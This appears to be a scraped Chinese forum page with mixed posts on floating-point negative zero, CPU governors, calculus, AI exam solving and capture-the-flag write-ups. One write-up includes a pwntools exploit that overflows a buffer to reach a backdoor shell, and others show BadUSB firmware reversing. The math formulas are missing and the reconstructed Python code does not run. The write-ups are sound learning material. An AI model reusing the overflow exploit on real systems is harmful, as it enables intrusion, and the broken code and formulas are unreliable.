- 已编辑
这个可以理解为表示浮点数的问题
如果你判断一下r == 0.0,你会发现结果也是true。实际上在C里面+0.0和-0.0是同一样东西。当然根本原因是符号位的存在,但是似乎在显示运算后的整型数的时候就没有这个情况。在 StackOverFlow上的一个回答 指出浮点数零的符号其实是刻意保留的。
至于解决方案,这样咯(虽然看起来有些蠢)
if (r == 0.0) { r = 0.0; }
这个可以理解为表示浮点数的问题
如果你判断一下r == 0.0,你会发现结果也是true。实际上在C里面+0.0和-0.0是同一样东西。当然根本原因是符号位的存在,但是似乎在显示运算后的整型数的时候就没有这个情况。在 StackOverFlow上的一个回答 指出浮点数零的符号其实是刻意保留的。
至于解决方案,这样咯(虽然看起来有些蠢)
if (r == 0.0) { r = 0.0; }
busybox下面还有一个问题就是即使CPU占有为0%,芯片的温度依然高居不下。目前的解决方案是修改cpu的调度器,将在/etc/init.d/rcS文件中追加:
echo ondemand > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo ondemand > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo ondemand > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo ondemand > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor
其中可用的调度器可以通过cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors
查到,有一下几种
performance: 最大性能 powersave: 最高节能 ondemand: 快升快降 interactive: 快升慢降 conservative: 慢升快降
buxybox默认用的performance的策略就是始终让CPU处于最高频率1.8Ghz,所以温度才会一直拉满。
假期再来挖一把
之前远程调试的问题其实在armbian或者ubuntu下就完全没有问题,毕竟开发用这两个系统才合适
另外关于硬件解码的驱动还是有办法解决的,在官方提供的Android驱动下有民间整合的硬件解码驱动,所以只要用一般的视频播放接口即可实现,可惜不是底层的驱动。不过官方也放出了各种芯片平台通用的linux驱动,并且比较让人高兴的是官方终于带上了文档。
编译驱动的过程可能会出错,按这篇教程来全志 CedarX 库linux安装(不得不吐槽一下这个居然不能编译成arm64,浪费了H6这样的架构)。静态编译会让编解码库找不到插件路径报错(不影响使用),改一下GetLocalPathFromProcessMaps或者AddVEncPlugin/AddVDPlugin这些函数即可
还有一个看上去比较靠谱的源码,连播放器demo都带上了。但是目前在我本机上编译失败,原因似乎是本机少了arm上的alsa库,而且大概因为这些库在busybox上移植也比较麻烦(毕竟别人的目标平台还是ubuntu)。
在Github上找找还是有不少好东西的,比如说别人针对开发板制作的ubuntu精简版。剩下的代码不是没有文档的就是处于实验性质的,姑且当作参考
之前看到过一个像NTL01 说的用唇语识别生成台词的例子程序员解析《隐秘的角落》 不知道有没有帮助
最严谨的做法当然还是用积分中值定理
当时,,故
但我第一次看到这题的时候还不知道有积分中值定理,不过我还是想到一种略微不严谨但比较简单的解法
我们令那么在上的二重积分实际上就是用以z轴为中心轴,半径为r的圆柱面去截被积函数所得的体积
当时,圆柱面截出的几何体即为一个圆柱体。可以这样理解,实际上r不趋于0时圆柱面截出的几何体上方不是一个圆平面,但是r趋于0时其上方为曲面无穷小的一块,并且在(0,0)处对x和y的偏导数都是0,因此可以视为平面。此时的圆柱体可以看作一条在z轴上的直线,底面与顶面分别汇聚成一个点,高为被积函数在(0,0)处的值。画个图帮助一下想象
接下来事情就变得很明显了,这个圆柱体体积除以就是圆柱体的高,所以原式的值就是
我看我们也有不少人在群里问老师这道题,当然答复就是积分中值定理(话说我们老师也没有讲过这样东西,我想得到用它?)
以往我们做题都是先了解到了某个知识点,然后借此去做题,在不断地训练下形成一种“模式”,就像0x0001所说的。这种“模式”的最终效果是让我们很快地把题目解出来。
这种所谓“模式”可以说其实是不求甚解的情况,它要解释你为什么这样做而不是用其他办法。就像现在高数积分的换元,有时候看过程真的有些步骤是莫名其妙的,但是确实题目也有特征可以让你认为应该使用这种换元方法。据我使用的两款软件PhotoMath和微软数学(这两个已经可以说有自动解纯计算数学题的能力了)的体验来说,他们在这方面做得也不怎么好。
回到楼主的物理题上, 对于曾经出现过的题目来讲,只要把答案搬上去就可以了,这也就是现在“搜题”软件的做法。但是没有出现过的题目怎么办?如果说那种“模式”可以从过往的题目中获取,那可能对于机器来讲只是分析的过程会复杂一些,把一个大问题拆分成几个有“模式”的小问题也是能够实现的。
那还有一种题目,也是在高考中会出现的难题。它看上去完全不属于任何一种“模式”之下(虽然据我所知,全国卷高考的物理出题都是从课本题目改编过来的,但是能魔改到什么程度大家有目共睹),这个时候是真正考验考生对知识点的理解程度了。但是怎么做到让机器真正理解那些知识点....
只靠做题积累的经验并不管用,我们考生能在后期疯狂刷题也是建立在对课本知识的理解之上。上面这一点算是机器解题的痛点之一,其他的盲点还有语义分析(读题读准确了吗?),数学和物理大题里的分类讨论(什么时候要分类?怎么分类?),情景题(有时候那些“废话”真的不是废话,机器哪里来的实际生活体验?)等等
当然也不是真的毫无希望,只是实现过程非常困难,而且也确实有人曾经实现过:
人工智能|数学机器人AI-MATHS首次成功公开模拟高考
机器人挑战高考数学卷拿134分 最难题仅用40秒
只不过实现的细节没有公开(我怀疑它们八成效果靠吹,其实都是小猿搜题离线版)
以上是一个完全不懂机器学习的菜鸡我个人的一些拙见,希望对楼主有帮助
话说这个积分在积分表里面有,不过想起大一高数老师说的话
套公式完全体现不出做题人的水平
其实定积分反而更加好算,毕竟算出来个数就好了,至于积分出来的表达式可以有很多种,对应的换元方法也有很多种。
然而这道题可以不换元做
这样够简单吧?把移过去,并且,然后就算出结果来了
Windows Terminal 是真的香
不过WSL2好像还是在预览版的吧?
至于有人说上面的题目错了,实际上在经过上面这些认真分析之后,你会发现bin文件末尾的字符串并不能完全代表它输入的内容。我感觉那个encrypted_text的混乱真的是出题人有意为之,毕竟别的输入都是一行一个字符串,到了密文这里就是一行被打散成几个字符串。并且从结果看来,除了字符串组合不按顺序之外,还有个字符串还是没有用的,并且有个字符'7'在那串连续的文字中根本没有出现过。而它是以按下单个按键的形式出现。但是这并不是像官方wp里面说的观察字符串就可以得出答案。
怎么说,首先是上面说的各种手法对抗静态分析,对于这种少出现的架构来讲显得太恶毒了点。其次是完全没有防止动态分析,理论上只要我手上有块Arduino Leonardo,把固件烧进去再接到PC上这道题直接出答案(反正出题人就是要被暴打的)
关键词:hex固件格式,Arduino,BadUSB
这道题算是被吐槽得最多的,到比赛结束也没人做出来,最后官方还提示“需要少量逆向工作”(一度认为出题人用了什么神仙工具)
下载文件打开发现是hex格式的固件,转成bin文件才能分析,格式区别:Hex、bin、axf、elf格式文件小结 。得到bin固件之后首先我们要确定硬件,用二进制编辑器打开查看字符串,或者直接用strings命令提取字符串,看到"Arduino LLC Arduino Leonardo"字样,推测是Arduino Leonardo板子的固件。
搜了一下发现这题确实有先例(PolishDuck),据说背景是BadUSB。在bin文件末尾还发现了一串看上去是python的代码,看上去是AES解密,估计就是payload了。接着抄下来运行,发现结果完全不对。于是只能硬着头皮逆固件逻辑,看看是不是字符串顺序不对
然后要开始逆向必须先确定指令架构,在网上搜索可以找到板的CPU是ATMega32U4,AVR8架构。拖进IDA,处理器类型选AVR
弹出来的窗口选ROM,不用创建RAM段。然后是CPU型号,选ATMega32即可。需要型号的原因应该是每种芯片的中断向量表不一样。这个芯片有专门的IDA配置文件,可以准确地显示每个中断函数。不过我们这里不分析硬件,所以只需要知道复位中断的位置就可以了,图示就是复位后跳转到中断服务函数
第三步就是找程序的入口点,即main函数。在复位后执行的代码末端可以看到调用了函数sub_AB9,如无意外它应该就是main函数
然后当你兴冲冲地按下F5的时候发现并不能直接反编译,可能这就是它难做的原因之一吧。最后我是用了ghidra反编译,并且由于Arduino有自己的API,对照上面BadUSB源码中用到的Keyboard库可以把所有的对应的函数都标出来。最后可以通过函数调用分析出它到底输入了哪些字符(反正比赛的时候知道这些都没用,还是菜到做不出来)
关键词:read越界写入
比赛的时候差点给逆向劝退了,pwn的题看都没有看。没想到这道题难度居然跟新生赛差不多,可能是因为用了另一种CPU架构的缘故?
先上IDA看一下,前面就是个200轮的算数游戏,用python里的pwntools+eval即可实现
最后那里留了个小后门,大概意思是有两个变量,用read把输入的放到一个变量里面,然后看看第二个变量是不是等于另外一个数,符合条件的话就会调用函数。那个sub_400920里面调用了system("/bin/sh"),就是用来起shell的
看v9和v8在栈上的位置,可以发现两者位置差了0x64即100个byte,然后上面的read又能够读110个byte,也就意味着我可以越界写入。所以我只要从第101个byte开始写304305682进去,就可以触发条件,至于前面100个byte的话随便就好了
有一个坑就是这是aarch64的ELF,不能在x86上直接跑(不服?树莓派上装pwntools玩)。但是pwntools支持在qemu上运行ELF,按官方文档装好就行了。下面是exp
from pwn import *
import re
p=process("./pwn")
for _ in range(200):
eq=p.recvuntil("input answer:")
eq=eq.replace("there have 200 levels ~Math: ","").replace("= ???input answer:","")
#防止官方发送搅屎代码,虽然这次是不可能的
#m=re.match("\d+ \* \d+ \+ \d+ \+ \d+ ",eq)
#if m != None and len(m.group(0))==len(eq):
num = str(eval(eq))
p.sendline(num)
p.recvline()
payload='A'*0x64 + p32(0x12235612)
p.sendline(payload)
p.interactive()
大概是一个月之前的比赛了,反正当时除了签到题之外没能做出其他题(哭
然后最近打算认真重新做一遍,然后发现有些题还是不会做(哭*2,说到底还是太菜了),所以这里只记录了几道简单题的过程。也欢迎参过赛的小伙伴们贴一下自己的解题思路一起讨论
关键词:python bytecode,python dis.dis()
上网搜一下文件中的内容,比如说“LOAD_CONST”,发现是由dis.dis()生成的python的字节码,实际上是一种中间状态的可读代码。真正的字节码文件的话应该是pyc格式,有现成的工具可以把它反编译回python代码。但是python的dis模块却没有现成工具,如果不想专门自己写工具的话只能手动逆。这种类型的题的旧例
参考官方给出的文档可以得知每条指令的含义,并且它们维护了一个简单的栈,操作符就是针对TOS(Top Of Stack)和TOS1(TOS下面的数据)进行操作。除了check0里的那个神奇的yield之外基本上没有什么困难的地方,很快就可以写出源代码
arr0=[249,91,149,113,16,91,53,41]
arr1=[43,1,6,69,20,62,6,44,24,113,6,35,0,3,6,44,20,22,127,60]
arr2=[90,100,87.109,86,108,86,105,90,104,88,102]
'''
def genxpr():
for x in range(0,38):
yield ord(x) in range(32,128)
'''
def check0(s):
#check0函数怎么写都是怪怪的,官方wp的意思是,它是用来判断每个字符ascii是否在32到128之间
#return all(genxpr(iter(s)))
pass
def check1(s):
if not len(s) <100:
return False
if not (((len(s)*len(s)) % 777 )^ 233 == 513):
return False
return True
pass
def check2(s):
if ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(
s[5]) == 3533889469877L:
if s[-1]==125:
return True
return False
pass
def check3(s):
arr=map(ord,s)
a=arr[slice(6,30,3)]
for i in range(len(a)):
if arr0[i]!=((a[i]*17684+372511)%257):
return False
b=arr[slice(-2,33,-1)]*5
c=map(lambda x:x[0]^x[1],zip(b,arr[7:27]))
if c != arr1:
return False
p=0
for i in range(28,34):
if arr2[p]!=((arr[i]+107)/16+77)
return False
if arr2[1+p]!=((arr[i]+117)%16+99)
return False
p=p+2
return True
pass
def raw_input():
pass
if check0(flag) and check1(flag) and check2(flag) and check3(flag):
print('ok')
else
print('no')
check1就是花式告诉你字符串的长度为39,check2由于你已经知道了开头是"flag{",结尾是"}",同样解个方程就会发现第六个字符是'5'
check3就复杂一点,第一个循环内的是判断切片的字符是否满足17684*a[i]+372511=arr0[i]+257r,由于已知r和a[i]为正整数,并且由a[i]为可打印字符可知其范围,直接写脚本爆破即可。第二个循环就是把数组里面的数字两两异或,并且上面解出的内容也会参与运算,所以可以借此解出其余字符(这段太烦琐了,我选择直接爆破)。第三个循环比第一个更简单,直接就可以算出结果。更具体地分析这里有。
© 2018-2025 0xFFFF